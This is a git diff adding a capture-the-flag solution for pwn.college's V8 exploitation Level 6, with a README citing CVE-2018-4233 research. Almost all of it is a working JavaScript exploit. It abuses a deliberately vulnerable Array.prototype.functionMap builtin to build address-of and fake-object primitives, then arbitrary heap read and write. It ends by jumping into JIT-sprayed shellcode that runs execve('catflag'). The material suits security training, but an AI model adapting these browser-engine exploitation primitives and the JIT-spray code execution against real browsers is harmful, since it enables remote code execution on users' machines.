diff --git a/JavaScript/PwnCollegeV8Exploitation/Level6/Exploit.js b/JavaScript/PwnCollegeV8Exploitation/Level6/Exploit.js new file mode 100644 index 0000000..0a2b3fd --- /dev/null +++ b/JavaScript/PwnCollegeV8Exploitation/Level6/Exploit.js @@ -0,0 +1,132 @@ +// Integrated Builtin: +// - Array.prototype.functionMap(func) + +let ab = new ArrayBuffer(8); +let f64a = new Float64Array(ab, 0, 1); +let i32a = new Uint32Array(ab, 0, 2); +let si32a = new Int32Array(ab, 0, 2); +let bi64a = new BigUint64Array(ab, 0, 1); + +function c2f(low, high) { // combined (two 4 bytes) word to float + i32a[0] = low; + i32a[1] = high; + return f64a[0]; +} + +function b2f(v) { // bigint to float + bi64a[0] = v; + return f64a[0]; +} + +function f2b(v) { // float to bigint + f64a[0] = v; + return bi64a[0]; +} + +function unptr(v) { + return v & 0xfffffffe; +} + +function ptr(v) { + return v | 1; +} + +function shellcode() { // Promote to ensure not GC during training + // JIT spray machine code form of `execve("catflag", NULL, NULL)` + return [1.9995716422075807e-246, 1.9710255944286777e-246, 1.97118242283721e-246, 1.971136949489835e-246, 1.9711826272869888e-246, 1.9711829003383248e-246, -9.254983612527998e+61]; +} +for (let i = 0; i < 1000; i++) shellcode(); // Trigger MAGLEV compilation + +const HeapNumber_map = 0x0000_0809; + +function GetAddressOf(obj) { + let arr = [9.88850038820051489803925001713E-311, 9.88850038820051489803925001713E-311, 9.88850038820051489803925001713E-311]; + let i = 0; + let addr = undefined; + try { + arr.functionMap((value) => { + switch (i) { + case 0: { + arr[2] = obj; + i++; + return value; + } + case 1: { + f64a[0] = value; + addr = i32a[0]; + return {}; + } + } + }); + } catch (e) {} + return unptr(addr); +} + +function GetFakeObject(addr) { + let arr = [c2f(ptr(addr), HeapNumber_map)]; + arr.functionMap((value) => { + arr[0] = {}; + return value; + }); + return arr[0]; +} + +// Create a PACKED_DOUBLE_ELEMENTS array contains faked PACKED_DOUBLE_ELEMENTS array +// map, properties, elements, length --- first three field are static roots +var arr = [c2f(0x001cb821, 0x00000725), c2f(0x00000725, 0x00008000)]; +// %DebugPrint(arr); +// %SystemBreak(); +var arr_addr = GetAddressOf(arr); +console.log("Address of arr: " + arr_addr.toString(16)); +var fakearr = GetFakeObject(arr_addr + 0x54); // Heap Fengshui +// %DebugPrint(fakearr); +// %SystemBreak(); + +// QWORD Aligned +function ArbRead64(cage_addr) { // int32 + if (cage_addr & 0x7) throw new Error("Must QWORD Aligned"); + arr[1] = c2f(ptr(cage_addr - 0x8), 0x00008000); + let result = f2b(fakearr[0]); + console.log(`ArbRead64 ${cage_addr.toString(16)}: ${result.toString(16)}`); + return result; +} + +// QWORD Aligned +function ArbWrite64(cage_addr, value) { // int32, bigint + if (cage_addr & 0x7) throw new Error("Must QWORD Aligned"); + arr[1] = c2f(ptr(cage_addr - 0x8), 0x00008000); + let written = b2f(value); + fakearr[0] = written; + console.log(`ArbWrite64 ${cage_addr.toString(16)}: ${value.toString(16)}`); +} + +// DWORD Aligned +function ArbRead32(cage_addr) { // int32 -> int32 + if (cage_addr & 0x3) throw new Error("Must DWORD Aligned"); + bi64a[0] = ArbRead64(cage_addr & 0xfffffff8); + let result = i32a[(cage_addr & 0x4) >> 2]; + console.log(`ArbRead32 ${cage_addr.toString(16)}: ${result.toString(16)}`); + return result; +} + +// DWORD Aligned +function ArbWrite32(cage_addr, value) { // int32, int32 -> void + if (cage_addr & 0x3) throw new Error("Must DWORD Aligned"); + let QWORD_Aligned_cage_addr = cage_addr & 0xfffffff8; + bi64a[0] = ArbRead64(QWORD_Aligned_cage_addr); + i32a[(cage_addr & 0x4) >> 2] = value; + ArbWrite64(QWORD_Aligned_cage_addr, bi64a[0]); + console.log(`ArbWrite32 ${cage_addr.toString(16)}: ${value.toString(16)}`); +} + +let shellcode_addr = GetAddressOf(shellcode); +console.log("Address of shellcode: " + shellcode_addr.toString(16)); +// %DebugPrint(shellcode); +// %SystemBreak(); +let code_addr = unptr(ArbRead32(shellcode_addr + 0xC)); +console.log("Address of code: " + code_addr.toString(16)); +let instruction_start_addr = code_addr + 0x14; +let instruction_start = ArbRead32(instruction_start_addr); +console.log("instruction_start: " + instruction_start.toString(16)); +ArbWrite32(instruction_start_addr, instruction_start + 0x6B); +shellcode(); diff --git a/JavaScript/PwnCollegeV8Exploitation/Level6/README.md b/JavaScript/PwnCollegeV8Exploitation/Level6/README.md new file mode 100644 index 0000000..6ac5af7 --- /dev/null +++ b/JavaScript/PwnCollegeV8Exploitation/Level6/README.md @@ -0,0 +1,20 @@ +# Level 6 + +## Problem + +Given a vulnerable builtin `Array.prototype.functionMap(func)`: +- It takes a `PACKED_DOUBLE_ELEMENTS` JSArray receiver and a JSFunction argument. +- **reinterpret_cast** `elements` to a `FixedDoubleArray`, then for each element `e`: + - Trigger a custom JavaScript callback `func`, with + - Input: this double element `e` + - Output: any double element `o` + - And store `o` to `e`'s original position. + +## Key Knowledge + +- Side Effect based Array Element Type Confusion + - CVE-2018-4233 + - [saelo/cve-2018-4233: Exploit for CVE-2018-4233, a WebKit JIT optimization bug used during Pwn2Own 2018](https://github.com/saelo/cve-2018-4233) + - [Attacking Client-Side JIT Compilers (v2)](https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf#page=106) + - [Pwn2Own 2018 CVE-2018-4233 分析](https://www.anquanke.com/post/id/244472) + - Use this technique to construct Address Of & Fake Object primitive.